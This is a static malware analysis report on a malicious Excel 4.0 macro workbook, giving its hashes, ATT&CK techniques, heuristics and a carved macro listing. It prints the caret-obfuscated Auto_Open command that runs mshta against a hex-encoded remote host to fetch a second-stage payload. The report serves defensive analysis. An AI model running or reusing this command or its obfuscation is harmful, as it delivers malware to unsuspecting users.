Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 244bfdf727def4ce…

MALICIOUS

Office (OLE) / .XLS

64.8 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 81a00f2707cf1765b9cc9fb97cca2dbe SHA-1: e00c3d69d70b9fcc3f37f78ee41a06a32dcbb1c5 SHA-256: 244bfdf727def4ce5153ad97397a1673e899685b46096f71989b669215f6d9a8
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro sheet that uses an Auto_Open macro to execute a command. The command, reconstructed from obfuscated strings, is 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This indicates the macro's intent is to download a second-stage payload from the specified URL. The document body also contains a lure to enable editing and content, which is a common tactic for macro-based malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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